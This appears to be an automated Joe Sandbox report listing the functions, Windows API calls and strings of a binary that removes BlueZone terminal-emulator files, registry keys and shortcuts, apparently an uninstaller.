Instruction Fuzzy Hash: 5FD12971808380DFD770DFA48884BDBB6E5BB89300F10893FE98DA7290E7B55645DB5A

Function 00401699 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 92
registryfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000000,?,00000000,00020019,?), ref: 00401720
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,00000000,00000000,?,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,?), ref: 00401752
RegCloseKey.ADVAPI32(?), ref: 0040175F
CreateFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,40000000,00000000,00000000,00000003,00000080,00000000), ref: 00401781
CloseHandle.KERNEL32(00000000), ref: 0040178D
LoadLibraryA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 00401798
GetProcAddress.KERNEL32(00000000,DllUnregisterServer), ref: 004017AE
FreeLibrary.KERNEL32(00000000), ref: 004017C0
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 004017D3
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 0040188D
SHDeleteKeyA.SHLWAPI(80000002,C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040189D
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\,00000080), ref: 004018AD
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\), ref: 004018B8

Strings

C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\, xrefs: 00401735, 0040177C, 00401793, 004018A8, 004018B3
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 004017CE, 00401888, 00401893
DllUnregisterServer, xrefs: 004017A8

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: File$CloseDeleteLibrary$AddressAttributesCreateFreeHandleLoadOpenProcQueryValuelstrcatlstrcpy
String ID: C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\$C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*$DllUnregisterServer
API String ID: 2339804146-1297482780
Opcode ID: 4bb66d54d6a52b20a8692e46afe8ef686380da3a988b5ac2f722485e73a744cc
Instruction ID: 62eb6ea3bf956138c631a6a710c6a7ba097e7c57ee633d191e27d1bbe92dc488
Opcode Fuzzy Hash: 4bb66d54d6a52b20a8692e46afe8ef686380da3a988b5ac2f722485e73a744cc
Instruction Fuzzy Hash: 1B318471640304FFD3209BD09C8DFABB7A8EB88745F10862EF655A21E0DB789545CB6E

Function 00405040 Relevance: 28.0, APIs: 11, Strings: 5, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHDeleteKeyA.SHLWAPI(80000002,Software\Renex\ez3270), ref: 0040507F
SHDeleteKeyA.SHLWAPI(80000001,Software\Renex\ez3270), ref: 0040508B
SHDeleteKeyA.SHLWAPI(80000002,Software\Renex\ez5250), ref: 00405097
SHDeleteKeyA.SHLWAPI(80000001,Software\Renex\ez5250), ref: 004050A3
SHDeleteKeyA.SHLWAPI(80000002,Software\Renex\ezFTP), ref: 004050AF
SHDeleteKeyA.SHLWAPI(80000001,Software\Renex\ezFTP), ref: 004050BB
SHDeleteKeyA.SHLWAPI(80000002,Software\Renex\ezVT), ref: 004050C7
SHDeleteKeyA.SHLWAPI(80000001,Software\Renex\ezVT), ref: 004050D3
SHDeleteKeyA.SHLWAPI(80000002,Software\SEAGULL\BlueZone Web), ref: 004050DF
SHDeleteKeyA.SHLWAPI(80000001,Software\SEAGULL\BlueZone Web), ref: 004050EB
SHDeleteKeyA.SHLWAPI(00000234,Software\SEAGULL\BlueZone Web), ref: 004050F8

Part of subcall function 00404380: FindWindowA.USER32(BlueZone Session Manager,00000000), ref: 00404496
Part of subcall function 00404380: PostMessageA.USER32(00000000,00000010,00000000,00003039), ref: 004044AA
Part of subcall function 00404380: lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 004044D8
Part of subcall function 00404380: lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 004044F0
Part of subcall function 00404380: lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,BlueZone\*.ini), ref: 004044FC
Part of subcall function 00404380: FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00404508
Part of subcall function 00404380: lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 0040453B
Part of subcall function 00404380: lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00404551

Strings

Software\Renex\ez3270, xrefs: 00405075, 00405081
Software\Renex\ezFTP, xrefs: 004050A5, 004050B1
Software\Renex\ez5250, xrefs: 0040508D, 00405099
Software\Renex\ezVT, xrefs: 004050BD, 004050C9
Software\SEAGULL\BlueZone Web, xrefs: 004050D5, 004050E1, 004050F2

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Delete$lstrcat$Findlstrlen$FileFirstMessagePostWindow
String ID: Software\Renex\ez3270$Software\Renex\ez5250$Software\Renex\ezFTP$Software\Renex\ezVT$Software\SEAGULL\BlueZone Web
API String ID: 2084751485-2546139774
Opcode ID: 4f27103639df5c41196dfc6194357874da41e09a45cbf8c442aef6e1e07cd3d2
Instruction ID: bb65a45f42c63cd190953594ce8c7a6ce313f25bc2264c10accef001c3c9f632
Opcode Fuzzy Hash: 4f27103639df5c41196dfc6194357874da41e09a45cbf8c442aef6e1e07cd3d2
Instruction Fuzzy Hash: BFF07930E81268B5E61077E26D0AF9E6E44CB45764F3040BF7F49361D289B99099CEEE

Function 00401C90 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 90
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,Software\SEAGULL\BlueZone Web), ref: 00401CBE
RegOpenKeyExA.KERNELBASE(00000234,Software\SEAGULL\BlueZone Web,00000000,00020019,?), ref: 00401CDC
RegOpenKeyExA.ADVAPI32(80000002,Software\SEAGULL\BlueZone Web), ref: 00401CE5
RegQueryValueExA.ADVAPI32(00020019,CacheMode,00000000,?,?,00020019), ref: 00401D1A
RegCloseKey.ADVAPI32(?), ref: 00401D25
GetTempPathA.KERNEL32(00000104,?), ref: 00401D64
GetLongPathNameA.KERNELBASE(?,?,00000104), ref: 00401D71
lstrlenA.KERNEL32(?), ref: 00401D82
lstrcatA.KERNEL32(?,0040C1F0), ref: 00401D9B
lstrcatA.KERNEL32(?,Low\), ref: 00401DA3

Strings

Low\, xrefs: 00401D9D
Software\SEAGULL\BlueZone Web, xrefs: 00401CAC, 00401CD6
CacheMode, xrefs: 00401D04

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Open$Pathlstrcat$CloseLongNameQueryTempValuelstrlen
String ID: CacheMode$Low\$Software\SEAGULL\BlueZone Web
API String ID: 1400961979-1712671022
Opcode ID: df0dd46bf33740fa9908997f0acfd7937eee25365c95908bea8bac82383f53a1
Instruction ID: f8f9837f9e73c9321cdb7ba3c70d4a6936aa061230d76495b002f488b33e850a
Opcode Fuzzy Hash: df0dd46bf33740fa9908997f0acfd7937eee25365c95908bea8bac82383f53a1
Instruction Fuzzy Hash: BE210634684310FBE320AB90DD89FDB7BA89F85744F44462EF648711E1D2B8A549C7EE

Function 00401B20 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 120
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetSpecialFolderLocation.SHELL32(00000000,?,?,0040101D), ref: 00401B78
SHGetPathFromIDListA.SHELL32(?,?), ref: 00401B90
lstrcpyA.KERNEL32(?,?), ref: 00401BA2
SHGetMalloc.SHELL32(?), ref: 00401BAD
lstrcpyA.KERNEL32(?,?,?,?,?,?,0040101D), ref: 00401C07
LoadLibraryA.KERNELBASE(shfolder.dll,?,?,?,?,?,0040101D), ref: 00401C2D
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 00401C3F
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,0040101D), ref: 00401C5D
lstrcpyA.KERNEL32(?,?,?,?,?,?,?,0040101D), ref: 00401C6D

Strings

shfolder.dll, xrefs: 00401C28
SHGetFolderPathA, xrefs: 00401C39

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: lstrcpy$Library$AddressFolderFreeFromListLoadLocationMallocPathProcSpecial
String ID: SHGetFolderPathA$shfolder.dll
API String ID: 2418541591-1468015651
Opcode ID: 140076add7f43ee8b6ef817c540722291122df7f895d755579f19ed2d9db7b81
Instruction ID: 4239e6aef95a551dfda2ce0fa119d37c461ccd04ea4a699c83df9ab562854795
Opcode Fuzzy Hash: 140076add7f43ee8b6ef817c540722291122df7f895d755579f19ed2d9db7b81
Instruction Fuzzy Hash: A34182716082059FD324DF94DD85FBB73E8EB88700F004A2EF54597290D778E904CBAA

Function 00401230 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000001,Software\SEAGULL\BlueZone Web,00000000), ref: 0040127A
RegOpenKeyExA.KERNELBASE(80000001,Software\SEAGULL\BlueZone,00000000), ref: 004012A3
RegQueryValueExA.ADVAPI32(?,BaseRegistry,00000000,?,00411824,?), ref: 004012D4
RegCloseKey.ADVAPI32(?), ref: 004012E4
RegOpenKeyExA.KERNELBASE(80000002,Software\SEAGULL\BlueZone,00000000,00020019,?), ref: 0040131A
RegQueryValueExA.ADVAPI32(?,BaseRegistry,00000000,?,00411824,?), ref: 0040134B
RegCloseKey.ADVAPI32(?), ref: 00401352

Strings

Software\SEAGULL\BlueZone Web, xrefs: 00401270, 00401291, 004012FD
BaseRegistry, xrefs: 004012BE, 00401335
Software\SEAGULL\BlueZone, xrefs: 00401299, 00401310

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Open$CloseQueryValue
String ID: BaseRegistry$Software\SEAGULL\BlueZone$Software\SEAGULL\BlueZone Web
API String ID: 3546245721-3912635146
Opcode ID: 6986c29086e7a83c286c5944ebac7da0c38ba4710c51d926f3b1d95566a9e0f9
Instruction ID: a1191a6c97db5927cf88a0201f2924f053d26c89b16c234fa40ab09cf342a99f
Opcode Fuzzy Hash: 6986c29086e7a83c286c5944ebac7da0c38ba4710c51d926f3b1d95566a9e0f9
Instruction Fuzzy Hash: 6431D571644345EEE300DB90DC81FB7B7D8ABC4B08F140A6EBA94761D1D3B89509CB6E

Function 00405100 Relevance: 13.6, APIs: 9, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: MetricsSystemWindow$Rect
String ID:
API String ID: 3945642117-0
Opcode ID: c6c633deaca613705aef5b530f9ba269aaf97f1550328704b39f8bdc023f9813
Instruction ID: 41fb8a02417c2bb526bd3df0b2057803bfea4ffc2e314febd67c40a588dcf2c9
Opcode Fuzzy Hash: c6c633deaca613705aef5b530f9ba269aaf97f1550328704b39f8bdc023f9813
Instruction Fuzzy Hash: F211D331A0561866E620A7749E89F2F725CEB95711F004D37F241FE2C2CAB9EC408E7D

Function 00405380 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 27
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(ieframe.dll,?,?,00405219,00000001,00000006), ref: 0040539D
GetProcAddress.KERNEL32(00000000,IEGetWriteableHKCU), ref: 004053AF
IEGetWriteableHKCU.IEFRAME(?,?,?,00405219,00000001,00000006), ref: 004053BE
FreeLibrary.KERNELBASE(00000000,?,?,00405219,00000001,00000006), ref: 004053C1

Strings

ieframe.dll, xrefs: 00405398
IEGetWriteableHKCU, xrefs: 004053A9

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Library$AddressFreeLoadProcWriteable
String ID: IEGetWriteableHKCU$ieframe.dll
API String ID: 4294106220-3191609510
Opcode ID: f8c6f48e8745b13765197995c8e5e93f74f762e6c17929de96e440d815d490cb
Instruction ID: 41c5a0a38a96fa6e0198a2633b036ad9fd941f5f43ac81c111d060c73f6e7be8
Opcode Fuzzy Hash: f8c6f48e8745b13765197995c8e5e93f74f762e6c17929de96e440d815d490cb
Instruction Fuzzy Hash: 93E03930526B12EAC2245BA09A48A5F7FA8DB41791F10556EFC49A22D0DB78C854CFAA

Function 00406E54 Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,00405675,00000001), ref: 00406E65
HeapDestroy.KERNEL32 ref: 00406E9B

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: c7d13a3f519903c81f995147132de5e43894bd93b76d6e47304e9ce03ecc0195
Instruction ID: 9ed2172cc0c62662a13bfc6385d73d0f444b3a49d5a7812a417b023e56052dfd
Opcode Fuzzy Hash: c7d13a3f519903c81f995147132de5e43894bd93b76d6e47304e9ce03ecc0195
Instruction Fuzzy Hash: D4E06D78B153019EDB109B70DE49BA635E4BB1874AF02493FF142E80F0EB7884609A0D

Function 00405AED Relevance: 3.0, APIs: 2, Instructions: 5
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 00405AF1

Part of subcall function 00405AC7: GetModuleHandleA.KERNEL32(mscoree.dll,00405AF6,?,0040A3C2,000000FF,0000001E,00000001,00000000,00000000,?,00408784,?,00000001,?,00407349,00000018), ref: 00405ACC
Part of subcall function 00405AC7: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00405ADC

ExitProcess.KERNEL32 ref: 00405AFB

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 20fc19c94468cea219afd1e1d096ebc0e614dc8d735e9c81c5bb5bb0c99160fe
Instruction ID: aa30afbec04391f92aaeae7882826867a856aefa881276d92e11baf899518ae9
Opcode Fuzzy Hash: 20fc19c94468cea219afd1e1d096ebc0e614dc8d735e9c81c5bb5bb0c99160fe
Instruction Fuzzy Hash: F9B09230004200EAC6012B10DE4A40A7A62EB80600F00862DB048100B18B315C50AE05

Function 004053D0 Relevance: 1.5, APIs: 1, Instructions: 6registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE(00000234,0040524D,00000234), ref: 004053DC

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683474328.0000000000410000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683493243.0000000000413000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_UNK_.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 34d5d386d0d44ec6c445443ec6e7d6637755349a859da172319992ff4cf0378d
Instruction ID: b37522c5a41f224d23e67d6246a9c6d5b669d4ec08f09238568f189e7d9df171
Opcode Fuzzy Hash: 34d5d386d0d44ec6c445443ec6e7d6637755349a859da172319992ff4cf0378d
Instruction Fuzzy Hash: B6B01270540100D7CE0087A487CC50B32D99740301F704814F508E1160C3B8CC80C908

Non-executed Functions

Function 00401EC0 Relevance: 402.1, APIs: 148, Strings: 81, Instructions: 1331stringfilewindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(BlueZone Session Manager,00000000), ref: 00402DF6
PostMessageA.USER32(00000000,00000010,00000000,00003039), ref: 00402E09
lstrcpyA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,C:\BlueZone), ref: 00402E19
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402E36
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00402E4E
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,*.ini), ref: 00402E5A
FindFirstFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00402E66
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402E8D
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00402E9F
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00402EAB
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402EBA
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402ECD
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402ED8
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00402EEC
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402EF7
FindNextFileA.KERNEL32(?,?), ref: 00402F07
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F34
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,0040C1F0), ref: 00402F4A
lstrcatA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,?), ref: 00402F56
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F5D
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F68
lstrlenA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F73
SetFileAttributesA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*,00000080), ref: 00402F87
DeleteFileA.KERNEL32(C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*), ref: 00402F92

Strings

BZSM.CHM, xrefs: 00402B43
C:\BlueZone, xrefs: 00402E0F, 00402FBF, 00403025, 004030A0, 004031AF, 004033B8, 00403557, 0040361D
BZFTP.HLP, xrefs: 004023B6
BZSM.HLP, xrefs: 00402286
BZMD.EXE, xrefs: 00401ED8
*.*, xrefs: 0040326A
BlueZone Script Editor.LNK, xrefs: 004037DF
BlueZone Session Manager, xrefs: 00402DCC
SPOOLINF.EXE, xrefs: 0040282E
BlueZone VT.LNK, xrefs: 00403789
BZDDE.H, xrefs: 00402424
README.TXT, xrefs: 00402402
BZPRNDEF.INI, xrefs: 00402694
STYLE.CSS, xrefs: 00402B1B
WHLLAPI.DLL, xrefs: 004023DE
BZFTP.CHM, xrefs: 0040296F
BZISFT.DLL, xrefs: 0040297B
BZFTP.EXE, xrefs: 00402370
RTN5250E.DLL, xrefs: 004021B9
Certs, xrefs: 00402BD0
EHLAPI32.DLL, xrefs: 00402BFF
BZHR.EXE, xrefs: 00402483
Mainframe Printer.LNK, xrefs: 004036B2
README.HTM, xrefs: 00402A36
BZAD.EXE, xrefs: 00401FAC
iSeries Display.LNK, xrefs: 004036DD
RNXSPLGR.FON, xrefs: 004027FD
NWRNXTRM.FON, xrefs: 00402212
BZMD.HLP, xrefs: 00401F09
BZAP.EXE, xrefs: 00402052
BlueZone Scripting Host.LNK, xrefs: 00403835
Transfer, xrefs: 00402CD1
BZMP.EXE, xrefs: 00401F2D
BZVT.EXE, xrefs: 0040273C
WHLAPI32.DLL, xrefs: 004025F4
BlueZone, xrefs: 004031F9, 004035A1, 00403659
BZCERTS.CAB, xrefs: 004028D9
BZSH.EXE, xrefs: 004024CC
RENEX_LM.DLL, xrefs: 004021AD
BZFTP.DLL, xrefs: 00402395, 00402FE8, 00403105
5, xrefs: 00403090
BZAP.HLP, xrefs: 004020A0
FORMFEED.TXT, xrefs: 00402774
EEHLLAPI.DLL, xrefs: 00402B59
VECT7F.EXE, xrefs: 00402569
Config, xrefs: 00402C5E
WHLAPI16.DLL, xrefs: 00402626
BZSM.EXE, xrefs: 00402257
C:\Users\user\AppData\Roaming\Seagull Software\BlueZone Web\*.*, xrefs: 00402E14, 00402E25, 00402E2D, 00402E49, 00402E55, 00402E61, 00402E7B, 00402E88, 00402E9A, 00402EA6, 00402EAD, 00402EB2, 00402EBC, 00402EC1, 00402ECF, 00402EE3, 00402EF2, 00402F22, 00402F2F, 00402F45, 00402F51, 00402F58, 00402F5F, 00402F6A, 00402F7E, 00402F8D, 00402FC4, 00402FCF, 00402FE1, 00402FED, 00402FFA, 0040302A, 00403035, 0040304B, 00403057, 0040305E, 004030A5, 004030B0, 004030C6, 004030CE, 004030DA, 004030E5, 0040310A, 00403120, 00403136, 00403159, 00403242, 0040324D, 00403263, 0040326F, 0040327B, 00403299, 004032A4, 004032B6, 004032C2, 004032D4, 004032DB, 00403308, 00403313, 00403329, 00403335, 00403341, 00403348, 00403401, 00403408, 0040341E, 0040342D, 00403439, 00403457, 00403462, 00403478, 00403484, 00403490, 00403497, 004034BA, 004034C5, 004034DB, 004034E7, 004034F3, 004034FA, 00403674, 00403686, 0040368F, 0040369C, 004036A5, 004036B7, 004036C0, 004036C7, 004036D0, 004036E2, 004036EB, 004036F2, 004036FB, 0040370D, 00403716, 0040371D, 00403726, 00403738, 00403741, 00403748, 00403751, 00403763, 0040376C, 00403773, 0040377C, 0040378E, 00403797, 0040379E, 004037A7, 004037B9, 004037C2, 004037C9, 004037D2, 004037E4, 004037ED, 004037F4, 004037FD, 0040380F, 00403818, 0040381F, 00403828, 0040383A, 00403843, 0040384A, 00403853, 00403865, 0040386E, 00403875
Spool, xrefs: 00402D2E
Scripts, xrefs: 00402CCB
iSeries Printer.LNK, xrefs: 00403708
UNINS.EXE, xrefs: 00402455, 00403131
RAP32Z.DLL, xrefs: 00402174
RTNS.HLP, xrefs: 00402147
PCSHLL.DLL, xrefs: 0040263B
BZSE.EXE, xrefs: 004022CE
BZVT.HLP, xrefs: 00402760
RTN3270E.DLL, xrefs: 004020D2
Traces, xrefs: 00402D60
Cache, xrefs: 00402D9F
BZWHLL.DLL, xrefs: 0040278E, 00403052, 0040311B
Macros, xrefs: 00402C95
DLGEDIT.CHM, xrefs: 00402A0E
BlueZone Session Manager.LNK, xrefs: 004037B4, 00403860
BZSH.CHM, xrefs: 004029C2
BlueZone FTP.LNK, xrefs: 0040380A
DLGEDIT.EXE, xrefs: 0040254E
DllUnregisterServer, xrefs: 00403007, 0040306B
SITE.CSS, xrefs: 00402A8E
DBCSXLAT.DLL, xrefs: 0040287B
BZFK.DLL, xrefs: 0040294D
AS400 Display.LNK, xrefs: 00403733
*.ini, xrefs: 00402E50
BZHIST.TXT, xrefs: 00402534
*.0, xrefs: 00403425, 0040342C
Mainframe Display.LNK, xrefs: 00403681
AS400 Printer.LNK, xrefs: 0040375E
BZAD.HLP, xrefs: 00401FF8
BLUEZONE.CHM, xrefs: 00402988
BZMP.HLP, xrefs: 00401F6D

Memory Dump Source

Source File: 00000001.00000002.1683434011.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1683419026.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1683451437.000000000040C000.00000002.00000001.01000000.00000005.sdmpDownload File
